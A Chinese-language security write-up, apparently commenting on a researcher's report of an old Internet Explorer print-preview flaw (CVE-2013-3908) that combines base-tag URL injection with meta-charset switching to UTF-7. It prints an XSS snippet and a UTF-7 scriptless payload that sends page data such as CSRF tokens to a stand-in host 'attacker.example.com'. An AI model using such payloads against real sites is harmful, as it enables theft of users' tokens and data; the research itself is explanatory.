原文：http://masatokinugawa.l0.cm/2014/11/ie-printpreview-infoleak.html

问题1:

在IE9和以前的版本当中进行打印预览操作时，IE会取出原始页面的URL并将URL放到重新生成的html中的base标签的href属性里。 由于此处并没有对URL中的" < >等符号进行任何的处理可导致信息泄漏.虽然打印预览界面中，是没办法执行JavaScript的，但是我们可以构造这样的URL:

http://vulnerabledoma.in/security/search?q=123'&">

当受害者访问了我们特定页面并试图打印该页面时，从下面的部分开始

直到单引号被闭合的部分（直到原始页面中原有的单引号出现）都将作为一个http请求被发送到受害者web server。泄露的可能会是csrf token或其它信息。（这个很看运气，不过应该算是很基本的scriptless攻击了吧）

该问题由于利用难度较高，所以被判断为小影响的漏洞，宣布会在IE9以后的版本进行修复(作为最终结果，微软最后还是宣布会在IE9以及之前的版本也进行修复)

问题2:

这部分除了原作者之外和我也有一点关系。因为之前在捣鼓字符集相关的安全问题时，发现了个比较诡异的现象。就是指定字符集的meta标签在什么样的场景下有效。让我们来看看一个有趣的场景:

我们都知道有一些标签具有所谓的htmlencode功能,比如上述示例代码的title标签。如果我们想在此处进行跨站脚本攻击，就需要结束这个title标签，插入类似:

</title><img src=x onerror=alert('lol')>

但，如果我们插入的是meta tag会怎么样呢？

当你在console里，输入document.characterSet时你会发现实际上当前页面的字符集已经变成了shift_jis（可在 firefox下进行测试）。如果加大测试场景你会发现不论是在script标签内，还是textarea这类的标签内，只要你插入的meta tag在前1024 byte之内（1024是SPEC上写的，但是实际测试只有980多byte），并且不存在什么response header中的设定，也没有在你插入的meta tag之前出现其它的meta tag对字符集进行过设定，你的meta tag都是有效的（具体的可以阅读浏览器的SPEC）。当时发现这个问题时，感觉十分的有趣但是由于并没有能发现很好的利用场景，就和@/fd联手做成了 一个xss挑战，希望别人也在看到这个之后研究一下会不会间接导致安全问题。这是当时出的xss challenge和相关的writeup:

http://kcal.pw/puzzle3.php https://github.com/cure53/xss-challenge-wiki/wiki/Puzzle-3-on-kcal.pw

抱歉说了很多有的没的。回到原稿，MK也提出了类似的问题。

     
     
     charset is

上述html页面，最终的characterSet会是什么呢？答案是chrome和safari会选择utf-8.Firefox会选择KOI8-R,而IE会认为是Big5.所以本题中的CVE-2013-3908就是这两个问题的组合拳.

http://vulnerabledoma.in/security/search2?q=123'&
     +ACIAPgA8A-img/src='http://attacker.example.com/

     
      +ACIAPgA8A-img/src='http://attacker.example.com/">
      
       
       
        
        
        
LoginID:exmaple@example.com
        
         SearchBox:
          
         
        
       
      
     

回顾一下前面的知识，我们知道出现在神秘属性__IE_DisplayURL中的meta tag依旧会被解析，导致当前页面的字符集会被篡改成utf-7.这样一来即使在上报问题1给微软后，微软对URL输出部分进行了处理，也不能躲过字符集 被修改后通过没有<>的utf-7进行scriptless攻击的步伐。最后由于这个漏洞赶上了IE11的bug bounty活动，作者通过提交该问题获得了2200刀的奖励。